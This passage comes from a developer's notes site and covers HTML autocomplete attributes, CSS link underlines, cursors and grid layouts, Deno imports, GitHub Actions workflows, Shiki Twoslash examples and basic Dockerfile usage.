tel-country-code
tel-national
tel-area-code
tel-local
tel-local-prefix
tel-local-suffix
tel-extension

Credit cards

<label for="frmNameCC">Name on card</label>
<input
  name="ccname"
  id="frmNameCC"
  required
  placeholder="Full Name"
  autocomplete="cc-name"
/>

<label for="frmCCNum">Card Number</label>
<input name="cardnumber" id="frmCCNum" required autocomplete="cc-number" />

<label for="frmCCCVC">CVC</label>
<input name="cvc" id="frmCCCVC" required autocomplete="cc-csc" />

<label for="frmCCExp">Expiry</label>
<input
  name="cc-exp"
  id="frmCCExp"
  required
  placeholder="MM-YYYY"
  autocomplete="cc-exp"
/>

Sections

The final feature of the new autocomplete attribute tokens is the ability to declare an arbitrary section to group fields.

A section is defined using a token that starts with section-. What comes after the dash is up to you. The specification provides this example of sections:

<fieldset>
  <legend>Ship the blue gift to...</legend>
  <label>
    Address:
    <input name="bc" autocomplete="section-blue shipping street-address" />
  </label>
  <label>
    City:
    <input name="bc" autocomplete="section-blue shipping address-level2" />
  </label>
  <label>
    Postal Code:
    <input name="bp" autocomplete="section-blue shipping postal-code" />
  </label>
</fieldset>

<fieldset>
  <legend>Ship the red gift to...</legend>
  <label>
    Address:
    <input name="ra" autocomplete="section-red shipping street-address" />
  </label>
  <label>
    City:
    <input name="rc" autocomplete="section-red shipping address-level2" />
  </label>
  <label>
    Postal Code:
    <input name="rp" autocomplete="section-red shipping postal-code" />
  </label>
</fieldset>

All the tokens

If you’re using the autofill tokens, the order is:

[section-](optional) [shipping|billing](optional)
[home|work|mobile|fax|pager](optional) [autofill field name]

The longest possible set autofill token might look something like this:

<label for="foo">Mobile phone for delivery</label>
<input
  type="text"
  name="foo"
  id="foo"
  autocomplete="section-red shipping mobile tel"
/>

Demo

Useful links

https://cloudfour.com/thinks/autofill-what-web-devs-should-know-but-dont/
https://developers.google.com/web/updates/2015/06/checkout-faster-with-autofill

Better link underlines

Zander Martineau — Fri, 20 Jan 2023 00:00:00 GMT

a {
  &:link,
  &:visited {
    color: red;
    text-decoration: none;
    border-bottom: 2px solid currentColor;

    @supports (text-decoration-thickness: 2px) {
      text-decoration-style: solid;
      text-decoration-line: underline;
      text-decoration-color: currentColor;
      text-decoration-thickness: 2px;
      text-underline-offset: 3px;
      text-decoration-skip: ink;
      border: 0;
    }
  }
}

Browser support

See the Pen{' '} <a href="https://codepen.io/mrmartineau/pen/BaNOZoM"> Better link underlines </a>{' '} by Zander Martineau (<a href="https://codepen.io/mrmartineau">@mrmartineau</a>) on <a href="https://codepen.io">CodePen</a>. </iframe>

CSS cursors

Zander Martineau — Fri, 20 Jan 2023 00:00:00 GMT

Native cursors

- auto
- default
- none
- context-menu
- help
- pointer
- progress
- wait
- cell
- crosshair
- text
- vertical-text
- alias
- copy
- move
- no-drop
  not-allowed
- grab
- grabbing
- e-resize
- n-resize
- ne-resize
- nw-resize
  s-resize
- se-resize
- sw-resize
- w-resize
- ew-resize
- ns-resize
- nesw-resize
- nwse-resize
- col-resize
- row-resize
- all-scroll
- zoom-in
- zoom-out;

Custom cursors

/* URL, with a keyword fallback */
cursor: url(hand.cur), pointer;

/* URL and coordinates, with a keyword fallback */
cursor: url(cursor1.png) 4 12, auto;
cursor: url(cursor2.png) 2 2, pointer;

Massive cursor

For everything

body {
  cursor: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAA+CAYAAABZcVnrAAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABIppVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIj4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDo0NTY0YzM5Ni0zMDFjLTQwYzktYjE1Ny1iMjBjMzA1MzRmMGM8L3N0UmVmOmluc3RhbmNlSUQ+CiAgICAgICAgICAgIDxzdFJlZjpkb2N1bWVudElEPnhtcC5kaWQ6NDU2NGMzOTYtMzAxYy00MGM5LWIxNTctYjIwYzMwNTM0ZjBjPC9zdFJlZjpkb2N1bWVudElEPgogICAgICAgICA8L3htcE1NOkRlcml2ZWRGcm9tPgogICAgICAgICA8eG1wTU06RG9jdW1lbnRJRD54bXAuZGlkOkExQURENTdBODI0NjExRTU5QTVGODE5NTcyNzM0RDQzPC94bXBNTTpEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJRD54bXAuaWlkOkEx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),
    auto;
}

or only on links

a {
  cursor: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAA6CAYAAADybArcAAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABJhpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIj4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDplNzExNjE3My1jNzliLTQ1MGUtYWRkZS02YmNhNzM4NWZiMjY8L3N0UmVmOmluc3RhbmNlSUQ+CiAgICAgICAgICAgIDxzdFJlZjpkb2N1bWVudElEPmFkb2JlOmRvY2lkOnBob3Rvc2hvcDo4ODIyOTU3Mi1jYTI1LTExNzgtOWY5YS1lZTgzYjM4MGM5ODI8L3N0UmVmOmRvY3VtZW50SUQ+CiAgICAgICAgIDwveG1wTU06RGVyaXZlZEZyb20+CiAgICAgICAgIDx4bXBNTTpEb2N1bWVudElEPnhtcC5kaWQ6MjE3N0MzRkE4MUJDMTFFNTlBNUY4MTk1NzI3MzRENDM8L3htcE1NOkRvY3VtZW50SUQ+CiAgICAgICAgIDx4bXBNTTpJbnN0YW5j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),
    auto !important;
}

See the Pen <a href="https://codepen.io/mrmartineau/pen/LYVJejv">LYVJejv</a>{' '} by Zander Martineau (<a href="https://codepen.io/mrmartineau">@mrmartineau</a> ) on <a href="https://codepen.io">CodePen</a>. </iframe>

CSS Grid

Zander Martineau — Fri, 20 Jan 2023 00:00:00 GMT

.grid {
  display: grid;
  grid-gap: 30px;
  grid-template-columns: repeat(auto-fill, 112px);
  /* or this */
  grid-template-columns: repeat(auto-fill, minmax(112px, 1fr));
}

/* To select modern Grid browsers and IE 11 */
@supports (display: grid) {
  grid-gap: 20px;
}

/* Else */
@supports not (display: grid) {
  li {
    padding: 10px;
  }
}

/* Edge 16 and higher */
@supports (display: -ms-grid) and (display: grid) {
  div {
    width: auto;
  }
}

/* Edge 15 and lower */
@supports (display: -ms-grid) and (not (display: grid)) {
  div {
    margin: 0;
  }
}

// To select only Grid browsers without IE 11
@supports (grid-gap: 0) {
  grid-gap: 20px;
}

Fluid columns snippet

.grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
  /* This is better for small screens, once min() is better supported */
  /* grid-template-columns: repeat(auto-fill, minmax(min(200px, 100%), 1fr)); */
  gap: 1rem;
}

Deno

Zander Martineau — Fri, 20 Jan 2023 00:00:00 GMT

3rd party modules

deno.land/x is a hosting service for Deno scripts. It caches releases of open-source modules stored on GitHub and serves them at an easy-to-remember domain.

Deno can import modules from any location on the web, like GitHub, a personal webserver, or a CDN like esm.sh, Skypack, jspm.io or jsDelivr.

Examples

deno.land

import { serve } from 'https://deno.land/std@0.131.0/http/server.ts'

esm.sh

import { decode } from 'https://esm.sh/html-entities@2.3.3'
import type { SupabaseClient } from 'https://esm.sh/@supabase/supabase-js@2.1.1'

CDN

import urlJoin from 'https://cdn.skypack.dev/pin/proper-url-join@v2.1.1-SID2RKzIsZDaP6lwi1ZT/mode=imports,min/optimized/proper-url-join.js'

npm

import chalk from 'npm:chalk@5'

TS types

// @deno-types="npm:@types/express@^4.17"
import express from 'npm:express@^4.17'

Publishing your own modules

All modules on deno.land/x need to be hosted as public repositories on GitHub.com.

deno.land/x downloads and stores your repository contents every time you create a git tag. We only do this once for every tag. This ensures that the contents we serve for a specific version can never change.

GitHub Actions

Zander Martineau — Fri, 20 Jan 2023 00:00:00 GMT

Docs:

https://docs.github.com/en/actions
Actions reference

Example workflows

On push

name: learn-github-actions
on: [push]
jobs:
  check-bats-version:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - uses: actions/setup-node@v1
      - run: npm install -g bats
      - run: bats -v

PRs only

name: Run on PR
'on': pull_request
jobs:
  build_and_preview:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Get yarn cache directory path
        id: yarn-cache-dir-path
        run: echo "::set-output name=dir::$(yarn cache dir)"
      - uses: actions/cache@v2
        id: yarn-cache
        with:
          path: ${{ steps.yarn-cache-dir-path.outputs.dir }}
          key: ${{ runner.os }}-yarn-${{ hashFiles('**/yarn.lock') }}
          restore-keys: |
            ${{ runner.os }}-yarn-
      - name: Install dependencies
        run: yarn --prefer-offline
      - name: bundlephobia-checker
        # https://github.com/carlesnunez/check-my-bundlephobia
        uses: carlesnunez/check-my-bundlephobia@v1.8.0
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}
          strict: true
          threshold: 800
          ignore-dev-dependencies: true
      - name: Lint
        run: yarn lint
      - name: Test
        run: yarn test
      - name: Build app
        run: yarn build

On merge into `main` branch

name: Run on merge
'on':
  push:
    branches:
      - main
jobs:
  build_and_deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Get yarn cache directory path
        id: yarn-cache-dir-path
        run: echo "::set-output name=dir::$(yarn cache dir)"
      - uses: actions/cache@v2
        id: yarn-cache
        with:
          path: ${{ steps.yarn-cache-dir-path.outputs.dir }}
          key: ${{ runner.os }}-yarn-${{ hashFiles('**/yarn.lock') }}
          restore-keys: |
            ${{ runner.os }}-yarn-
      - name: Install dependencies
        run: yarn --prefer-offline
      - name: Lint
        run: yarn lint
      - name: Test
        run: yarn test
      - name: Build app
        run: yarn build
      - name: Build Storybook
        run: yarn storybook:build

Enable debug logging

Set either/both in your repo's secrets:

ACTIONS_STEP_DEBUG=true
ACTIONS_RUNNER_DEBUG=true

Shiki Twoslash

Zander Martineau — Fri, 20 Jan 2023 00:00:00 GMT

// Removes 'readonly' attributes from a type's properties
type CreateMutable<Type> = {
  -readonly [Property in keyof Type]: Type[Property]
}

type LockedAccount = {
  readonly id: string
  readonly name: string
}

type UnlockedAccount = CreateMutable<LockedAccount>

// @module: esnext
// @filename: maths.ts
export function absolute(num: number) {
  if (num < 0) return num * -1
  return num
}
// @filename: index.ts
import { absolute } from './maths'
const value = absolute(-1)

// @module: esnext
// @filename: maths.ts
export function absolute(num: number) {
  if (num < 0) return num * -1
  return num
}
// @filename: index.ts
import { absolute } from './maths'
const value = absolute(-1)
//    ^?

// @module: esnext
// @filename: maths.ts
export function absolute(num: number) {
  if (num < 0) return num * -1
  return num
}
// @filename: index.ts
// ---cut---
import { absolute } from './maths'
const value = absolute(-1)
//    ^?

function greet(person: string) {
  console.log(`Hello ${person},`)
  console.log(`How do?`)
}
greet('Maddison')

Docker

Zander Martineau — Thu, 22 Sep 2022 00:00:00 GMT

Best practices

Dockerfile examples

FROM node:12.4.0-alpine
ENV NPM_CONFIG_LOGLEVEL info
WORKDIR /usr/src/app
EXPOSE 8080
ENTRYPOINT ["yarn", "start"]

RUN mkdir -p /usr/src/app
COPY . .
RUN yarn install && \
    yarn build && \
    yarn test && \
    yarn install --production && \
    rm -rf .git

Build a Dockerfile locally

docker build .

# or

docker build -t yourTagName .

Run a Dockerfile locally

docker run -p 1717:1717 yourTagName

Docker commands

# list all running containers
docker ps

# stop/remove particular running container
docker rm -f $containerId

# stop all containers
docker rm -f (docker ps -aq)

# browse running container files
docker exec -it $containerId sh

Using private npm packages

Securely using .npmrc files in Docker images

Here's an example of the above

# Multi-stage build info & npm security
# from https://www.alexandraulsh.com/2018/06/25/docker-npmrc-security/

# First build
FROM node:13.2.0 AS build
